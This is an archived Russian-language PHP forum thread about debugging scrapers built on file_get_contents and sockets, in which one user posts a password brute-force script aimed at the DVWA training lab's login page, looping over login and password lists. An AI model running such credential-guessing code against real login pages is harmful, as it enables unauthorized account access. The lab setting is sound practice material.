PDA

Просмотр полной версии : Мой код на PHP почемуто не работает, так как должен работать!


C0c0s
24.09.2010, 02:54
Мой код на PHP почемуто не работает, так как должен работать!
Есть два файла, один мой написан код, второй просто хтмл текст, в котором мой скрипт ищет то что ему нужно.
Все вроде бы гуд, если два файла находяца на одно и том же сайте(сервере).
Но когда я изминяю область поиска нужного текста уже с другого сайта(сервера), результат оказывается 0.
Ничего не находит хотя вместимость в обоих файлах идентична.

Вот и кусочек скрипта:


<?PHP
$host = "www.ffffffffff.org"; // Адрес
$input=@file_get_contents("http://".$host."/home.php");
if($_GET['Search']){
if(preg_match('|<b>блабла: 2<\/b> (.*) <font|Uis', $input, $out)){
print "Есть";
}else{
print "Нету .";
}
}
?>

Pashkela
24.09.2010, 05:03
Но когда я изминяю область поиска нужного текста уже с другого сайта(сервера), результат оказывается 0.

собачку перед file_get_contents убери и вообще выстави показ ошибок. Простым файл_гет_контенцом далеко не все сайты можно парсить - где-то проверяется реферер, где-то еще что

nomad
24.09.2010, 09:51
У меня похожая проблема, и пытаюсь сделать примитивный брут для авторизации в DVWA 1.0.6 (http://www.dvwa.co.uk/), код во вложении.
Ошибка при выполнении как file_get_contents(), так и file(), текст следующий
Warning: file_get_contents(http://dvwa/vulnerabilities/brute/?username=&password=111&Login=Login#) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\mysite\www\brut.php on line 42

На серве есть 2 файл - name.txt и pass.txt, где соответственно хранятся логины и пассы для брута. Дальше пишу такой вот скриптец, который теоретически должен брутить все это дело, исходник и комменты под спойлером


<?php
// сервер DVWA расположен по адресу http://dvwa/vulnerabilities/brute/
// авторизация на сервере происходит путем GET передачи параметров username и password
// строка, по которой передаются логин и пароль http://dvwa/vulnerabilities/brute/?username=admin&password=111&Login=Login#

echo "Используемые логины <br>";
unset ($login);
$login = file ("name.txt"); // считали из файла логины и занесли их в массив
for ($i = 0; $i <= count($login); $i++)
echo trim($login[$i])."<br>";


echo "Используемые пароли <br>";
unset ($pass);
$pass = file ("pass.txt");
for ($j = 0; $j <= count($pass); $j++)
echo trim($pass[$j])."<br>";


// разобьем урл на несколько частей
$url1 = "http://dvwa/vulnerabilities/brute/?username=";
$url2 = "&password=";
$url3 = "&Login=Login#";
echo "Строки, которые будут проверяться, с учетом подставленных логинов и паролей: <br>";
for ($i1 = 0; $i1 <= count($login); $i1++)
for ($j1 = 0; $j1 <= count($pass); $j1++)
{
unset ($url);
$url = $url1.trim($login[$i1]).$url2.trim($pass[$j1]).$url3;
$a = file_get_contents($url);
}

?>




При выполнении этого скрипта получаю следующую страничку:

Используемые логины
administrator
admin

Используемые пароли
111
1234

Строки, которые будут проверяться, с учетом подставленных логинов и паролей:

Warning: file_get_contents(http://dvwa/vulnerabilities/brute/?username=administrator&password=111&Login=Login#) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\mysite\www\brut.php on line 42

Warning: file_get_contents(http://dvwa/vulnerabilities/brute/?username=administrator&password=1234&Login=Login#) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\mysite\www\brut.php on line 42

Warning: file_get_contents(http://dvwa/vulnerabilities/brute/?username=administrator&password=&Login=Login#) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\mysite\www\brut.php on line 42

Warning: file_get_contents(http://dvwa/vulnerabilities/brute/?username=admin&password=111&Login=Login#) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\mysite\www\brut.php on line 42

Warning: file_get_contents(http://dvwa/vulnerabilities/brute/?username=admin&password=1234&Login=Login#) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\mysite\www\brut.php on line 42

Warning: file_get_contents(http://dvwa/vulnerabilities/brute/?username=admin&password=&Login=Login#) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\mysite\www\brut.php on line 42

Warning: file_get_contents(http://dvwa/vulnerabilities/brute/?username=&password=111&Login=Login#) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\mysite\www\brut.php on line 42

Warning: file_get_contents(http://dvwa/vulnerabilities/brute/?username=&password=1234&Login=Login#) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\mysite\www\brut.php on line 42

Warning: file_get_contents(http://dvwa/vulnerabilities/brute/?username=&password=&Login=Login#) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\mysite\www\brut.php on line 42



Вот такая хня. line42 - $a = file_get_contents($url);

Кстати, если сделать такой код
$url4 = "http://dvwa/index.php";
$b = file_get_contents($url4);
echo $b;
то все нормально. По ходу, лажа какая-то образуется при склеивании урла, но в чем трабла - не понимаю.

Cross
24.09.2010, 10:41
http://dvwa/vulnerabilities/brute/?username=administrator&password=111&Login=Login#Все эти ваши параметры чем то ведь обрабатываются?! Я имею ввиду, что между слешом и вопросом наверняка должно стоять имя скрипта...Может быть из-за него 404...

А может и хедеры должны быть(движок смотрели?):
из офф.док.
<?php
// Create a stream
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n"
)
);

$context = stream_context_create($opts);

// Open the file using the HTTP headers set above
$file = file_get_contents('http://www.example.com/', false, $context);

Ну или еще после trim() попробуйте rawurlencode()

nomad
24.09.2010, 10:55
Все эти ваши параметры чем то ведь обрабатываются?! Я имею ввиду, что между слешом и вопросом наверняка должно стоять имя скрипта...Может быть из-за него 404...

А может и хедеры должны быть(движок смотрели?):


Ну или еще после trim() попробуйте rawurlencode()


Нет, урл в реальности выглядит именно так, и простым копированием такого урла в адресную строку все воспроизводиться.
Вместо rawurlencode() использовал urlencode(), но безрезультатно.
С хедерами, если можно, поподробнее. Где смотреть - в исходниках страницы, которая брутится?

hard
24.09.2010, 11:08
Используйте CURL.

nomad
24.09.2010, 11:21
Курл как вариант, но почему скрипт ругается при существующем оформлении?

hard
24.09.2010, 12:24
Warning: file_get_contents(http://dvwa/vulnerabilities/brute/?username=administrator&password=111&Login=Login#) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in Z:\home\mysite\www\brut.php on line 42

посмотри в error_log, какой запрос приходит

C0c0s
24.09.2010, 13:05
собачку перед file_get_contents убери и вообще выстави показ ошибок. Простым файл_гет_контенцом далеко не все сайты можно парсить - где-то проверяется реферер, где-то еще что
Ты прав!
Проверил на других сайтах все отлично!)

Pr0xor
24.09.2010, 14:09
Так же можно юзать сокеты, вот тут http://ru2.php.net/manual/en/function.fsockopen.php с примерами все довольно доходчиво обьяснено, а что бы ваши запросы к серверу максимально смахивали на обращения из браузера, можно
воспользоваться этим расширением лисы http://livehttpheaders.mozdev.org/, которое подробно показывает какие хедеры
передаются при запросах.

C0c0s
24.09.2010, 15:04
кстати про сокеты, здела парсер через сокеты, и та сама проблема) нна других сайтах нормально выберает текст а на том что нужно результат 0.
К CURL ищо не дошол !
Мож какаято там защита есть?)

Какие предложения, по даному поводу.. ? =ь


<?php
$port = 80;
$addr = gethostbyname("ffffffff.com");

$fp = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($fp,$addr,$port);
$str = "GET http://www.ffffffff.com/index.php \n\n HTTP/1.0\r\n Host: fffffffff.com\r\n\r\n";
socket_write($fp,$str,strlen($str));
$input = socket_read($fp,8048);
if(preg_match('|<b>блабла: 2<\/b> (.*) <font|Uis', $input, $out)){
print "<center><font color=\"green\"><b>YES</b></font></center>";
}else{
print "<center><font color=\"red\"><b>NO</b></font></center>.";
}
socket_close($fp);
?>

hard
24.09.2010, 15:12
кстати про сокеты, здела парсер через сокеты, и та сама проблема) нна других сайтах нормально выберает текст а на том что нужно результат 0.
К CURL ищо не дошол !
Мож какаято там защита есть?)

Какие предложения, по даному поводу.. ? =ь

1) Поставь FireBug
2) Из FireBug скопируй запрос, который шлёт браузер
3) Шли такой же запрос скриптом

Всё, 3 простых шага, иные предложения тебе не понадобятся

C0c0s
24.09.2010, 15:34
Списибо за столь внимательность)
Только все уже было пройдено)
Когда сохранить файл с которого парсингую, себе на сайт, то все отлично, а когда перенаправляю на удаленный то уже проблемы. И просто напомню) что методом сокета и file_get_contents пользувался, тотже результат!)